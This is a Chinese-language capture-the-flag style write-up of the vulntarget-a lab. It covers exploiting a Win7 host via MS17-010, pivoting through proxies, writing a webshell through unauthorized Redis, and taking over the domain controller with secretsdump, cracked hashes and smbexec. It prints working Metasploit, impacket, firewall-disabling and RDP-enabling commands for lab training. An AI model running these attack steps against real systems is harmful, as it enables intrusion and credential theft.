vulntarget-a(writeup)

admin 2025年6月2日01:16:24vulntarget-a(writeup)已关闭评论29 views字数 2888阅读9分37秒阅读模式

链接: https://pan.baidu.com/s/1sv9qdioNF4PTUliix5HEfg 提取码: 2dwq

环境搭建

vm18网卡:10.0.20.0

vm19网卡:10.0.10.0

win7:NAT+VM18

windows 2016:VM18+VM19

windows 2019:VM19

记得禁用网卡,否则物理机PC可以直通所有网络,无法模拟真实环境

vulntarget-a(writeup)

知识点

OA、二层代理、域控、msf会话传CS、redis未授权写入、CS生成正反向马连接,windwos防火墙命令、impacket脚本利用、注册表添加、windows远程连接命令

win7

个人习惯做靶机直接fscan扫

vulntarget-a(writeup)
image-20250529203617534

ms17_010能够getshell

msfconsolesearch ms17_010use 0set rhosts 10.10.10.130run

端口80,OA系统,工具getshell方法也可以(这里的IP换成外网IP,我这里是msf打完又打了OA做的演示,至于80等端口没扫到,应该是工具流量问题)

vulntarget-a(writeup)
image-20250529211215107

msf上线CS

bguse exploit/windows/local/payload_injectset payload windows/meterpreter/reverse_httpset lport 2222set session 1run
vulntarget-a(writeup)
image-20250529204701898

抓取到密码admin,没有开启3389端口不能远程连接

vulntarget-a(writeup)
image-20250529205429804

用msf探测网段

run autorouterun post/multi/manage/autoroute

CS的插件进行ipconfig /all

vulntarget-a(writeup)
image-20250529205841109

win 2016

开启端口扫描,10.0.20.99:6379、80、5985

portscan 10.0.20.0-10.0.20.255 1-1024,3389,5000-6400 arp 1024
vulntarget-a(writeup)
image-20250529213431756

portscan能扫到,fscan和nmap扫存活与开放端口都有问题,猜测可能也是工具流量问题

由于kali作为流量转发机器,无法走全局流量,设置proxychains4代理

使用无影扫目录,phpinfo信息,绝对路径C:/phpStudy/PHPTutorial/WWW/

vulntarget-a(writeup)
image-20250529214908883
vulntarget-a(writeup)
image-20250529215155736

redis写入webshell

vulntarget-a(writeup)
image-20250529221313267
vulntarget-a(writeup)
image-20250529221340824

信息

vulntarget-a(writeup)
image-20250529221729873

CS生成正向连接,connect 10.0.20.99 5555不通,查看防火墙情况netsh firewall show state,蚁剑权限较高,关闭防护墙netsh firewall set opmode mode=disable

运行CS生成的正向连接马

vulntarget-a(writeup)
image-20250529224103945
vulntarget-a(writeup)
image-20250529224139798

net time /domain查看是否在域内,存在域,并且域控地址为10.0.10.110

vulntarget-a(writeup)
image-20250529224629164

看一下域控制器net group "domain controllers" /domain

vulntarget-a(writeup)
image-20250529232104397

win 2019

继续portscan对域控主机扫描

portscan 10.0.10.0-10.0.10.255 1-1024,3389,5000-6000 arp 1024
vulntarget-a(writeup)
image-20250529225405199

使用nmap的默认脚本扫描和fscan扫描

vulntarget-a(writeup)
image-20250529231143483

使用CS插件

vulntarget-a(writeup)
image-20250529232438737
vulntarget-a(writeup)
image-20250529232518395

回显Success! Use pth .\WIN2019$ 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync

vulntarget-a(writeup)
image-20250529232616681

密码被置空

获取域控hash值

proxychains4 python3 /usr/share/doc/python3-impacket/examples/secretsdump.py  vulntarget.com/WIN2019\$@10.0.10.110  -just-dc  -no-pass

aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15

写入hash.txt,John去跑,得到域控密码Admin@666

vulntarget-a(writeup)
image-20250531093230025

smbexec.py获取交互式shell

proxychains4 python3 /usr/share/doc/python3-impacket/examples/smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 [email protected]

获取shell编码错误,chcp 65001不能解决,chcp.com查看编码格式,-codec cp936重新获取域控

proxychains4 python3 /usr/share/doc/python3-impacket/examples/smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 -codec cp936 [email protected]

注册表添加键值,配置远程桌面服务端口号

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

允许远程连接

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

允许其他设备通过3389远程连接当前桌面服务

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

vulntarget.com\administrator

vulntarget-a(writeup)
image-20250531103241328

进行CS上线,关闭防火墙,正向连接cs,netsh advfirewall set allprofiles state off

vulntarget-a(writeup)
image-20250531104040208

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月2日01:16:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulntarget-a(writeup)http://cn-sec.com/archives/4123064.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.